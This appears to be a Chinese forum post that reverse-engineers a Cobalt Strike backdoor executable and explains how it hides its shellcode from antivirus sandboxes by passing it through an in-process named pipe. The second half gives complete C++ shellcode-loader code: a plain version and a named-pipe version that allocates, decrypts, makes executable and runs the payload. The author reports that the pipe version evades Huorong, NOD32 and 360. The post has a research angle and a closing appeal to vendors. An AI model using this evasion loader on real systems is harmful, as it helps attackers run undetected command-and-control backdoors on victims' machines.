最近发现一个奇怪的现象,我用CobaltStrike直接生成一个裸奔测试后门artifact.exe
然后使用火绒扫描,火绒居然没有直接查杀
自己上线自己
按理说这种被渗透人员大量使用的后门,不管它原本使用了哪些牛逼的沙盒绕过手法都应该被直接特征码定位查杀,根本不不用杀软沙盒分析。很明显,火绒应该是忘了加针对CobaltStrike的特征码,然后使用后一步的沙盒分析但是不幸的是,沙盒分析也被CobaltStrike规避了。所以进一步分析
代码使用了GCC MinGW编译,程序有两个TLS回调,分析了一遍,感觉并没有什么卵用,应该就是GCC编译后,main函数之前的初始化吧,判断了一下winmajor这个全局变量,看名字和系统版本相关Winmajor<=3就加载mingwm10.dll这个dll,这个应该和MinGW有关吧,系统里面根本没有这个dll
直接看main函数,逻辑很简单,先call sub_4027B()没什么卵用的函数,然后call sub_401800() 这个函数才是搞事的核心,然后死循环Sleep(1000)
双击进去分析,逻辑也很简单,获取系统时间戳,拼接成字符串\\.\pipe\MSSE-%d-server的格式,看名字应该和命名管道有关,然后创建了一个线程函数地址是sub_4016D3的线程,然后调用了函数sub_4017A2
分析线程函数sub_4016D3,直接F5看伪代码吧
函数sub_401608有两个参数,第一个参数unk_403010是一个数组,里面就是加密之后的shellcode,第二个全局变量参数dwSize就是shellcode数组的大小
跟进sub_401608,伪代码非常直观,可以直接拿来编译那种
逻辑很清晰,创建了一个命名管道,管道名字就是前面分析的字符串\\.\pipe\MSSE-%d-server,然后往管道里面循环写入加密的shellcode数据,直到全部写入 返回分析,前面知道程序创建了线程之后立刻调用了函数sub_4017A2
Sleep函数的作用就是保证线程函数创建命名管道成功再开始读取加密的shellcode,跟进sub_4016F2,也是逻辑非常简单直观的,打开线程创建的命名管道,从管道里面读取加密之后的shellcode
返回看sub_401559函数
数组unk_403008和加密之后的shellcode是一段连续内存,开始的8字节是解密密钥相关,后面才是加密的shellcode
跟进sub_401559,逻辑相当简单了,木马的模板代码,先用VirtualAlloc函数申请内存,解密shellcode写入内存,再用VirtualProtect函数改变内存属性成可执行最后创建线程执行shellcode,解密算法也很简单,加密数据分别和数组unk_403008开头4字节进行取余亦或运算,unk_403008开头8字节实际只用了4个字节
总结:CS使用命名管道进程内部通信的方式传输shellcode,杀软的沙盒并不能很好的模拟此行为,以此绕过了沙盒的代码分析,但是这并不能完全验证是这种方法绕过了沙盒分析决定自己写代码使用此方式加载CobaltStrike的shellcode测试杀软
1.先使用常规方式直接解密加载shellcode,代码如下
[C++] 纯文本查看 复制代码 unsigned char data[] = { xxxxx };
DWORD WINAPI StartAddress(LPVOID lpThreadParameter)
{
return ((int(__stdcall *)(LPVOID))lpThreadParameter)(lpThreadParameter);
}
int main(int argc, _TCHAR* argv[])
{
char *buff = (char*)VirtualAlloc(0, sizeof(data), 0x3000u, 4u);
//解密部分算法
DWORD flOldProtect = 0;
VirtualProtect(buff, sizeof(data), 0x20u, &flOldProtect);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);
while (true)
{
Sleep(1000);
}
return 0;
}
先关闭火绒,直接上线
然后开启火绒,刚编译就被杀
2.先使用进程内部命名管道解密加载shellcode,代码如下
[C++] 纯文本查看 复制代码 unsigned char data[] = { xxxx };
DWORD WINAPI StartAddress(LPVOID lpThreadParameter)
{
return ((int(__stdcall *)(LPVOID))lpThreadParameter)(lpThreadParameter);
}
bool pipClient(LPVOID lpBuffer, DWORD nNumberOfBytesToRead)
{
DWORD offset = 0;
DWORD readSize = 0;
HANDLE hFile = CreateFileA("\\\\.\\xxx\\yyy", 0x80000000, 3u, 0, 3u, 0x80u, 0);
if (hFile!=INVALID_HANDLE_VALUE)
{
while (nNumberOfBytesToRead>0)
{
BOOL ret=ReadFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToRead, &readSize, NULL);
if (!ret)
{
break;
}
nNumberOfBytesToRead -= readSize;
offset += readSize;
}
CloseHandle(hFile);
}
return nNumberOfBytesToRead == 0;
}
bool pipServer(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite)
{
DWORD offset = 0;
DWORD writeSize = 0;
HANDLE hFile = CreateNamedPipeA("\\\\.\\xxx\\yyy", 2u, 0, 1u, 0, 0, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
if (ConnectNamedPipe(hFile, 0))
{
while (nNumberOfBytesToWrite>0)
{
BOOL ret = WriteFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToWrite, &writeSize, NULL);
if (!ret)
{
break;
}
nNumberOfBytesToWrite -= writeSize;
offset += writeSize;
}
CloseHandle(hFile);
}
}
return nNumberOfBytesToWrite == 0;
}
DWORD WINAPI PipWrite(LPVOID)
{
pipServer(data, sizeof(data));
return 0;
}
int main(int argc, _TCHAR* argv[])
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PipWrite, NULL, 0, NULL);
Sleep(600);
char *buff = (char*)VirtualAlloc(0, sizeof(data), 0x3000u, 4u);
pipClient(buff, sizeof(data));
//解密部分算法
DWORD flOldProtect = 0;
VirtualProtect(buff, sizeof(data), 0x20u, &flOldProtect);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);
while (true)
{
Sleep(1000);
}
return 0;
}
开启火绒,直接上线
继续测试node32,提示安全
测试360安全卫士+360杀毒小红书,QVM引擎全开联网查杀,提示安全
哇,这个真的是。。。呼吁杀软厂商感觉把这种过沙盒的方法列入查杀对象
|